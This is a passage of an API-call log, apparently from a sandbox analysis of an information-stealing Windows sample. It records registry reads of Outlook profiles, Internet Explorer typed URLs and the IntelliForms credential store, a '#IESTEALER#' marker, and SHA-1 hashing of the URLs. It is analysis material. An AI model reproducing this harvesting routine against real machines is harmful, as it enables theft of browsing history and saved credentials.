lpcbData=0x54deb60*=0x4) returned 0x2 [0096.531] RegCloseKey (hKey=0x71c) returned 0x0 [0096.531] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.531] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.531] RegCloseKey (hKey=0x71c) returned 0x0 [0096.531] LocalFree (hMem=0x28e7670) returned 0x0 [0096.531] RegEnumKeyExA (in: hKey=0x368, dwIndex=0xe, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.531] RegCloseKey (hKey=0x368) returned 0x0 [0096.531] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x54dfd68 | out: plibNewPosition=0x54dfd68) returned 0x0 [0096.536] IStream:RemoteSeek (in: This=0x43cf6f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x54dfd78 | out: plibNewPosition=0x54dfd78) returned 0x0 [0096.536] lstrlenA (lpString="#IESTEALER#\n") returned 12 [0096.536] ISequentialStream:RemoteWrite (in: This=0x43cf6f0, pv=0x94ead08*=0x23, cb=0xc, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.536] LocalAlloc (uFlags=0x40, uBytes=0x484) returned 0x719b340 [0096.536] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyExW") returned 0x7fefd7306f0 [0096.537] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\TypedURLs", ulOptions=0x0, samDesired=0x1, phkResult=0x54dfad0 | out: phkResult=0x54dfad0*=0x368) returned 0x0 [0096.537] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x28ff190 [0096.537] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegEnumValueW") returned 0x7fefd72c420 [0096.537] RegEnumValueW (in: hKey=0x368, dwIndex=0x0, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url50", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.537] StrStrIW (lpFirst="avg.com", lpSrch="?") returned 0x0 [0096.537] StrStrIW (lpFirst="avg.com", lpSrch="http://") returned 0x0 [0096.542] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptAcquireContextW") returned 0x7fefd71d98c [0096.542] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.543] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptCreateHash") returned 0x7fefd71dad4 [0096.543] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.543] lstrlenW (lpString="avg.com") returned 7 [0096.543] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptHashData") returned 0x7fefd71dac0 [0096.543] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x10, dwFlags=0x0) returned 1 [0096.544] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptGetHashParam") returned 0x7fefd71db20 [0096.544] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.544] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="10") returned 2 [0096.544] lstrlenW (lpString="") returned 0 [0096.544] lstrlenW (lpString="10") returned 2 [0096.544] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.544] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.544] lstrcatW (in: lpString1="", lpString2="10" | out: lpString1="10") returned="10" [0096.544] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0096.544] lstrlenW (lpString="10") returned 2 [0096.544] lstrlenW (lpString="7F") returned 2 [0096.544] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.544] lstrcpyW (in: lpString1=0x28ca380, lpString2="10" | out: lpString1="10") returned="10" [0096.544] lstrcatW (in: lpString1="10", lpString2="7F" | out: lpString1="107F") returned="107F" [0096.544] LocalFree (hMem=0x7224580) returned 0x0 [0096.544] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0096.544] lstrlenW (lpString="107F") returned 4 [0096.544] lstrlenW (lpString="15") returned 2 [0096.544] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.544] lstrcpyW (in: lpString1=0x28c8d00, lpString2="107F" | out: lpString1="107F") returned="107F" [0096.544] lstrcatW (in: lpString1="107F", lpString2="15" | out: lpString1="107F15") returned="107F15" [0096.545] LocalFree (hMem=0x28ca380) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0096.545] lstrlenW (lpString="107F15") returned 6 [0096.545] lstrlenW (lpString="57") returned 2 [0096.545] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.545] lstrcpyW (in: lpString1=0x28ca380, lpString2="107F15" | out: lpString1="107F15") returned="107F15" [0096.545] lstrcatW (in: lpString1="107F15", lpString2="57" | out: lpString1="107F1557") returned="107F1557" [0096.545] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0B") returned 2 [0096.545] lstrlenW (lpString="107F1557") returned 8 [0096.545] lstrlenW (lpString="0B") returned 2 [0096.545] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.545] lstrcpyW (in: lpString1=0x28c8d00, lpString2="107F1557" | out: lpString1="107F1557") returned="107F1557" [0096.545] lstrcatW (in: lpString1="107F1557", lpString2="0B" | out: lpString1="107F15570B") returned="107F15570B" [0096.545] LocalFree (hMem=0x28ca380) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0096.545] lstrlenW (lpString="107F15570B") returned 10 [0096.545] lstrlenW (lpString="1C") returned 2 [0096.545] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.545] lstrcpyW (in: lpString1=0x71cfb40, lpString2="107F15570B" | out: lpString1="107F15570B") returned="107F15570B" [0096.545] lstrcatW (in: lpString1="107F15570B", lpString2="1C" | out: lpString1="107F15570B1C") returned="107F15570B1C" [0096.545] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.545] lstrlenW (lpString="107F15570B1C") returned 12 [0096.545] lstrlenW (lpString="C2") returned 2 [0096.545] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.545] lstrcpyW (in: lpString1=0x71cf460, lpString2="107F15570B1C" | out: lpString1="107F15570B1C") returned="107F15570B1C" [0096.545] lstrcatW (in: lpString1="107F15570B1C", lpString2="C2" | out: lpString1="107F15570B1CC2") returned="107F15570B1CC2" [0096.545] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0096.545] lstrlenW (lpString="107F15570B1CC2") returned 14 [0096.545] lstrlenW (lpString="0C") returned 2 [0096.545] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.545] lstrcpyW (in: lpString1=0x71cfb40, lpString2="107F15570B1CC2" | out: lpString1="107F15570B1CC2") returned="107F15570B1CC2" [0096.545] lstrcatW (in: lpString1="107F15570B1CC2", lpString2="0C" | out: lpString1="107F15570B1CC20C") returned="107F15570B1CC20C" [0096.545] LocalFree (hMem=0x71cf460) returned 0x0 [0096.545] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C") returned 16 [0096.546] lstrlenW (lpString="9D") returned 2 [0096.546] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.546] lstrcpyW (in: lpString1=0x71cf460, lpString2="107F15570B1CC20C" | out: lpString1="107F15570B1CC20C") returned="107F15570B1CC20C" [0096.546] lstrcatW (in: lpString1="107F15570B1CC20C", lpString2="9D" | out: lpString1="107F15570B1CC20C9D") returned="107F15570B1CC20C9D" [0096.546] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.546] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C9D") returned 18 [0096.546] lstrlenW (lpString="FD") returned 2 [0096.546] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.546] lstrcpyW (in: lpString1=0x72912f0, lpString2="107F15570B1CC20C9D" | out: lpString1="107F15570B1CC20C9D") returned="107F15570B1CC20C9D" [0096.546] lstrcatW (in: lpString1="107F15570B1CC20C9D", lpString2="FD" | out: lpString1="107F15570B1CC20C9DFD") returned="107F15570B1CC20C9DFD" [0096.546] LocalFree (hMem=0x71cf460) returned 0x0 [0096.546] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C9DFD") returned 20 [0096.546] lstrlenW (lpString="75") returned 2 [0096.546] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.546] lstrcpyW (in: lpString1=0x7290b70, lpString2="107F15570B1CC20C9DFD" | out: lpString1="107F15570B1CC20C9DFD") returned="107F15570B1CC20C9DFD" [0096.546] lstrcatW (in: lpString1="107F15570B1CC20C9DFD", lpString2="75" | out: lpString1="107F15570B1CC20C9DFD75") returned="107F15570B1CC20C9DFD75" [0096.546] LocalFree (hMem=0x72912f0) returned 0x0 [0096.546] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C9DFD75") returned 22 [0096.546] lstrlenW (lpString="27") returned 2 [0096.546] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.546] lstrcpyW (in: lpString1=0x72912f0, lpString2="107F15570B1CC20C9DFD75" | out: lpString1="107F15570B1CC20C9DFD75") returned="107F15570B1CC20C9DFD75" [0096.546] lstrcatW (in: lpString1="107F15570B1CC20C9DFD75", lpString2="27" | out: lpString1="107F15570B1CC20C9DFD7527") returned="107F15570B1CC20C9DFD7527" [0096.546] LocalFree (hMem=0x7290b70) returned 0x0 [0096.546] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C9DFD7527") returned 24 [0096.546] lstrlenW (lpString="15") returned 2 [0096.546] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.546] lstrcpyW (in: lpString1=0x7290b70, lpString2="107F15570B1CC20C9DFD7527" | out: lpString1="107F15570B1CC20C9DFD7527") returned="107F15570B1CC20C9DFD7527" [0096.546] lstrcatW (in: lpString1="107F15570B1CC20C9DFD7527", lpString2="15" | out: lpString1="107F15570B1CC20C9DFD752715") returned="107F15570B1CC20C9DFD752715" [0096.546] LocalFree (hMem=0x72912f0) returned 0x0 [0096.546] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A8") returned 2 [0096.546] lstrlenW (lpString="107F15570B1CC20C9DFD752715") returned 26 [0096.546] lstrlenW (lpString="A8") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.547] lstrcpyW (in: lpString1=0x2815670, lpString2="107F15570B1CC20C9DFD752715" | out: lpString1="107F15570B1CC20C9DFD752715") returned="107F15570B1CC20C9DFD752715" [0096.547] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715", lpString2="A8" | out: lpString1="107F15570B1CC20C9DFD752715A8") returned="107F15570B1CC20C9DFD752715A8" [0096.547] LocalFree (hMem=0x7290b70) returned 0x0 [0096.547] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0096.547] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8") returned 28 [0096.547] lstrlenW (lpString="EE") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.547] lstrcpyW (in: lpString1=0x2815a80, lpString2="107F15570B1CC20C9DFD752715A8" | out: lpString1="107F15570B1CC20C9DFD752715A8") returned="107F15570B1CC20C9DFD752715A8" [0096.547] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8", lpString2="EE" | out: lpString1="107F15570B1CC20C9DFD752715A8EE") returned="107F15570B1CC20C9DFD752715A8EE" [0096.547] LocalFree (hMem=0x2815670) returned 0x0 [0096.547] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0096.547] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EE") returned 30 [0096.547] lstrlenW (lpString="D9") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.547] lstrcpyW (in: lpString1=0x2815670, lpString2="107F15570B1CC20C9DFD752715A8EE" | out: lpString1="107F15570B1CC20C9DFD752715A8EE") returned="107F15570B1CC20C9DFD752715A8EE" [0096.547] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EE", lpString2="D9" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9") returned="107F15570B1CC20C9DFD752715A8EED9" [0096.547] LocalFree (hMem=0x2815a80) returned 0x0 [0096.547] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D7") returned 2 [0096.547] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EED9") returned 32 [0096.547] lstrlenW (lpString="D7") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.547] lstrcpyW (in: lpString1=0x2815a80, lpString2="107F15570B1CC20C9DFD752715A8EED9" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9") returned="107F15570B1CC20C9DFD752715A8EED9" [0096.547] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EED9", lpString2="D7" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7") returned="107F15570B1CC20C9DFD752715A8EED9D7" [0096.547] LocalFree (hMem=0x2815670) returned 0x0 [0096.547] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0096.547] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EED9D7") returned 34 [0096.547] lstrlenW (lpString="A5") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.547] lstrcpyW (in: lpString1=0x28e7670, lpString2="107F15570B1CC20C9DFD752715A8EED9D7" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7") returned="107F15570B1CC20C9DFD752715A8EED9D7" [0096.547] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EED9D7", lpString2="A5" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A5") returned="107F15570B1CC20C9DFD752715A8EED9D7A5" [0096.547] LocalFree (hMem=0x2815a80) returned 0x0 [0096.547] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0096.547] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EED9D7A5") returned 36 [0096.547] lstrlenW (lpString="3C") returned 2 [0096.547] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.547] lstrcpyW (in: lpString1=0x28e7910, lpString2="107F15570B1CC20C9DFD752715A8EED9D7A5" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A5") returned="107F15570B1CC20C9DFD752715A8EED9D7A5" [0096.548] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A5", lpString2="3C" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53C") returned="107F15570B1CC20C9DFD752715A8EED9D7A53C" [0096.548] LocalFree (hMem=0x28e7670) returned 0x0 [0096.548] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E0") returned 2 [0096.548] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EED9D7A53C") returned 38 [0096.548] lstrlenW (lpString="E0") returned 2 [0096.548] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.548] lstrcpyW (in: lpString1=0x28e7670, lpString2="107F15570B1CC20C9DFD752715A8EED9D7A53C" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53C") returned="107F15570B1CC20C9DFD752715A8EED9D7A53C" [0096.548] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53C", lpString2="E0" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53CE0") returned="107F15570B1CC20C9DFD752715A8EED9D7A53CE0" [0096.548] LocalFree (hMem=0x28e7910) returned 0x0 [0096.548] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0096.548] lstrlenW (lpString="107F15570B1CC20C9DFD752715A8EED9D7A53CE0") returned 40 [0096.548] lstrlenW (lpString="42") returned 2 [0096.548] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.548] lstrcpyW (in: lpString1=0x28e7910, lpString2="107F15570B1CC20C9DFD752715A8EED9D7A53CE0" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53CE0") returned="107F15570B1CC20C9DFD752715A8EED9D7A53CE0" [0096.548] lstrcatW (in: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53CE0", lpString2="42" | out: lpString1="107F15570B1CC20C9DFD752715A8EED9D7A53CE042") returned="107F15570B1CC20C9DFD752715A8EED9D7A53CE042" [0096.548] LocalFree (hMem=0x28e7670) returned 0x0 [0096.548] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptDestroyHash") returned 0x7fefd71db00 [0096.548] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.549] GetProcAddress (hModule=0x7fefd710000, lpProcName="CryptReleaseContext") returned 0x7fefd71dd10 [0096.549] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.549] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.549] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.549] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.549] LocalFree (hMem=0x28e7910) returned 0x0 [0096.549] RegEnumValueW (in: hKey=0x368, dwIndex=0x1, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url49", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.549] StrStrIW (lpFirst="sogou.com", lpSrch="?") returned 0x0 [0096.549] StrStrIW (lpFirst="sogou.com", lpSrch="http://") returned 0x0 [0096.549] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.563] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.563] lstrlenW (lpString="sogou.com") returned 9 [0096.563] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.563] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.563] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="64") returned 2 [0096.563] lstrlenW (lpString="") returned 0 [0096.563] lstrlenW (lpString="64") returned 2 [0096.563] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.563] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.563] lstrcatW (in: lpString1="", lpString2="64" | out: lpString1="64") returned="64" [0096.563] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0096.563] lstrlenW (lpString="64") returned 2 [0096.563] lstrlenW (lpString="F6") returned 2 [0096.563] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.563] lstrcpyW (in: lpString1=0x28c81c0, lpString2="64" | out: lpString1="64") returned="64" [0096.563] lstrcatW (in: lpString1="64", lpString2="F6" | out: lpString1="64F6") returned="64F6" [0096.563] LocalFree (hMem=0x7224580) returned 0x0 [0096.563] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0096.563] lstrlenW (lpString="64F6") returned 4 [0096.563] lstrlenW (lpString="15") returned 2 [0096.563] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.563] lstrcpyW (in: lpString1=0x28c8d00, lpString2="64F6" | out: lpString1="64F6") returned="64F6" [0096.563] lstrcatW (in: lpString1="64F6", lpString2="15" | out: lpString1="64F615") returned="64F615" [0096.563] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.563] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0096.563] lstrlenW (lpString="64F615") returned 6 [0096.563] lstrlenW (lpString="6C") returned 2 [0096.563] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.563] lstrcpyW (in: lpString1=0x28c81c0, lpString2="64F615" | out: lpString1="64F615") returned="64F615" [0096.563] lstrcatW (in: lpString1="64F615", lpString2="6C" | out: lpString1="64F6156C") returned="64F6156C" [0096.563] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.563] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0096.563] lstrlenW (lpString="64F6156C") returned 8 [0096.563] lstrlenW (lpString="2A") returned 2 [0096.563] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.563] lstrcpyW (in: lpString1=0x28c8d00, lpString2="64F6156C" | out: lpString1="64F6156C") returned="64F6156C" [0096.564] lstrcatW (in: lpString1="64F6156C", lpString2="2A" | out: lpString1="64F6156C2A") returned="64F6156C2A" [0096.564] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0096.564] lstrlenW (lpString="64F6156C2A") returned 10 [0096.564] lstrlenW (lpString="A7") returned 2 [0096.564] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.564] lstrcpyW (in: lpString1=0x71cf460, lpString2="64F6156C2A" | out: lpString1="64F6156C2A") returned="64F6156C2A" [0096.564] lstrcatW (in: lpString1="64F6156C2A", lpString2="A7" | out: lpString1="64F6156C2AA7") returned="64F6156C2AA7" [0096.564] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0096.564] lstrlenW (lpString="64F6156C2AA7") returned 12 [0096.564] lstrlenW (lpString="D6") returned 2 [0096.564] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.564] lstrcpyW (in: lpString1=0x71cfb40, lpString2="64F6156C2AA7" | out: lpString1="64F6156C2AA7") returned="64F6156C2AA7" [0096.564] lstrcatW (in: lpString1="64F6156C2AA7", lpString2="D6" | out: lpString1="64F6156C2AA7D6") returned="64F6156C2AA7D6" [0096.564] LocalFree (hMem=0x71cf460) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B9") returned 2 [0096.564] lstrlenW (lpString="64F6156C2AA7D6") returned 14 [0096.564] lstrlenW (lpString="B9") returned 2 [0096.564] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.564] lstrcpyW (in: lpString1=0x71cf460, lpString2="64F6156C2AA7D6" | out: lpString1="64F6156C2AA7D6") returned="64F6156C2AA7D6" [0096.564] lstrcatW (in: lpString1="64F6156C2AA7D6", lpString2="B9" | out: lpString1="64F6156C2AA7D6B9") returned="64F6156C2AA7D6B9" [0096.564] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A6") returned 2 [0096.564] lstrlenW (lpString="64F6156C2AA7D6B9") returned 16 [0096.564] lstrlenW (lpString="A6") returned 2 [0096.564] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.564] lstrcpyW (in: lpString1=0x71cfb40, lpString2="64F6156C2AA7D6B9" | out: lpString1="64F6156C2AA7D6B9") returned="64F6156C2AA7D6B9" [0096.564] lstrcatW (in: lpString1="64F6156C2AA7D6B9", lpString2="A6" | out: lpString1="64F6156C2AA7D6B9A6") returned="64F6156C2AA7D6B9A6" [0096.564] LocalFree (hMem=0x71cf460) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="04") returned 2 [0096.564] lstrlenW (lpString="64F6156C2AA7D6B9A6") returned 18 [0096.564] lstrlenW (lpString="04") returned 2 [0096.564] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.564] lstrcpyW (in: lpString1=0x7290b70, lpString2="64F6156C2AA7D6B9A6" | out: lpString1="64F6156C2AA7D6B9A6") returned="64F6156C2AA7D6B9A6" [0096.564] lstrcatW (in: lpString1="64F6156C2AA7D6B9A6", lpString2="04" | out: lpString1="64F6156C2AA7D6B9A604") returned="64F6156C2AA7D6B9A604" [0096.564] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.564] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0096.564] lstrlenW (lpString="64F6156C2AA7D6B9A604") returned 20 [0096.565] lstrlenW (lpString="D5") returned 2 [0096.565] LocalAlloc (uFlags=0x40, 